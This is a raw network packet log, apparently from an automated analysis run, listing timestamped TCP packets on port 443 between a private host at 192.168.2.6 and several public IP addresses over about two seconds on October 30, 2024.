Oct 30, 2024 04:34:22.501485109 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.507476091 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.507567883 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.507575989 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.513926983 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.514014959 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.514025927 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.519635916 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.519714117 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.519728899 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.546117067 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.546159029 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.546341896 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.546365976 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.546427011 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.551278114 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551346064 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551373005 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551407099 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.551419973 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551469088 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.551654100 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551891088 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551923037 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551938057 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.551945925 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.551990986 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.555108070 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.560311079 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.560373068 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.560384035 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.565825939 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.565860033 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.565890074 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.565898895 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.565951109 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.571243048 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.574584007 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.574614048 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.574636936 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.574646950 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.574695110 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.577827930 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.578033924 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.578078985 CET	443	49764	216.58.206.78	192.168.2.6
Oct 30, 2024 04:34:22.578141928 CET	49764	443	192.168.2.6	216.58.206.78
Oct 30, 2024 04:34:22.675837994 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.676328897 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.676343918 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.676779032 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.676784992 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.693470001 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.693907976 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.693922997 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.694386959 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.694391966 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.709711075 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.710371017 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.710406065 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.710536957 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.710542917 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.796350002 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:22.796458006 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:22.799921036 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:22.799930096 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:22.800363064 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:22.806265116 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.806344032 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.806392908 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.813168049 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.813193083 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.813208103 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.813215017 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.822359085 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.823805094 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.823853970 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.828641891 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.828663111 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.828675032 CET	49771	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.828680038 CET	443	49771	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.833204031 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.833235979 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.833302021 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.836370945 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.836405039 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.836464882 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.836592913 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.836606979 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.837064981 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.837080956 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.841660023 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.841746092 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.841803074 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.841908932 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.841908932 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.841924906 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.841933012 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.844428062 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.844453096 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.844511986 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.844723940 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.844733953 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.854883909 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:22.877796888 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:22.893287897 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.893811941 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.893826962 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.894511938 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.894515991 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.923341990 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:22.945339918 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.945607901 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.945617914 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.946122885 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.946187973 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.947124004 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.947184086 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.948642015 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.948724031 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.949254990 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.949265957 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.949476957 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:22.995332956 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:22.995498896 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.996342897 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.996360064 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:22.997010946 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:22.997019053 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.031260967 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.031383038 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.031445026 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.031692028 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.031708956 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.031718969 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.031724930 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.035171032 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.035204887 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.035279989 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.035530090 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.035541058 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.124650002 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.124738932 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.124811888 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.125138998 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.125154972 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.125272036 CET	49769	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.125278950 CET	443	49769	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.125998020 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.126162052 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.126210928 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.130498886 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.130506992 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.130517006 CET	49776	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.130521059 CET	443	49776	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.164990902 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.165081024 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.165175915 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.165364981 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.165401936 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.189815044 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.189846992 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.189933062 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.190354109 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:23.190367937 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:23.245682955 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:23.292625904 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:23.292650938 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:23.294182062 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:23.294260979 CET	443	49773	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:23.294322968 CET	49773	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:23.554749012 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.555263996 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.555291891 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.555962086 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.555965900 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.571017027 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.571516037 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.571527004 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.572235107 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.572240114 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.575371027 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.575882912 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.575903893 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.576488018 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.576494932 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.701977968 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.702186108 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.702239037 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.702318907 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.702334881 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.702343941 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.702351093 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.705802917 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.705857992 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.705944061 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.706171036 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.706216097 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.706593037 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.706756115 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.706819057 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.707099915 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.707099915 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.707115889 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.707125902 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.709625006 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.709640026 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.709702969 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.709932089 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.709942102 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.776633024 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.777919054 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.777949095 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.778923988 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.778934956 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.847762108 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.848048925 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.848104954 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.848185062 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.848201036 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.848213911 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.848218918 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.851964951 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.851998091 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.852065086 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.852266073 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.852276087 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.896368980 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.896920919 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.896946907 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.897701979 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.897706985 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.908704042 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.908766985 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.908818007 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.909019947 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.909040928 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.909053087 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.909060001 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.911963940 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.911993980 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:23.912055969 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.912184000 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:23.912197113 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.028124094 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.028192997 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.028281927 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.028731108 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.028753996 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.028796911 CET	49785	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.028805017 CET	443	49785	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.032902956 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.033035040 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.033166885 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.033191919 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.033258915 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.035147905 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.035147905 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.035156012 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.035176039 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.035414934 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.037746906 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.079329967 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.279867887 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.279937983 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.280801058 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.280801058 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.280846119 CET	49786	443	192.168.2.6	184.28.90.27
Oct 30, 2024 04:34:24.280857086 CET	443	49786	184.28.90.27	192.168.2.6
Oct 30, 2024 04:34:24.435831070 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:24.435866117 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:24.436002970 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:24.436346054 CET	49792	443	192.168.2.6	142.250.181.238
Oct 30, 2024 04:34:24.436359882 CET	443	49792	142.250.181.238	192.168.2.6
Oct 30, 2024 04:34:24.438246012 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.439362049 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.439362049 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.439429998 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.439476013 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.442017078 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.442414045 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.442426920 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.442857981 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.442862988 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.570574045 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.570725918 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.570980072 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.571191072 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.571192026 CET	49787	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.571213961 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.571223974 CET	443	49787	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.571923018 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.572052956 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.572154045 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.572453976 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.572453976 CET	49788	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.572459936 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.572467089 CET	443	49788	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.575352907 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.575380087 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.575865030 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.576055050 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.576071978 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.576200962 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.576224089 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.576347113 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.576512098 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.576525927 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.610404968 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.611042023 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.611062050 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.611656904 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.611661911 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.656266928 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.657238007 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.657238007 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.657263994 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.657274008 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.742245913 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.742574930 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.742779016 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.742779016 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.742794991 CET	49789	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.742799997 CET	443	49789	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.745732069 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.745764017 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.749910116 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.750046968 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.750072956 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.764622927 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.765625000 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.765625000 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.765640974 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.765672922 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.789206982 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.789267063 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.789371014 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.789511919 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.789513111 CET	49790	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:24.789522886 CET	443	49790	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:24.789530993 CET	443	49790	13.107.246.45	192.168.2.6
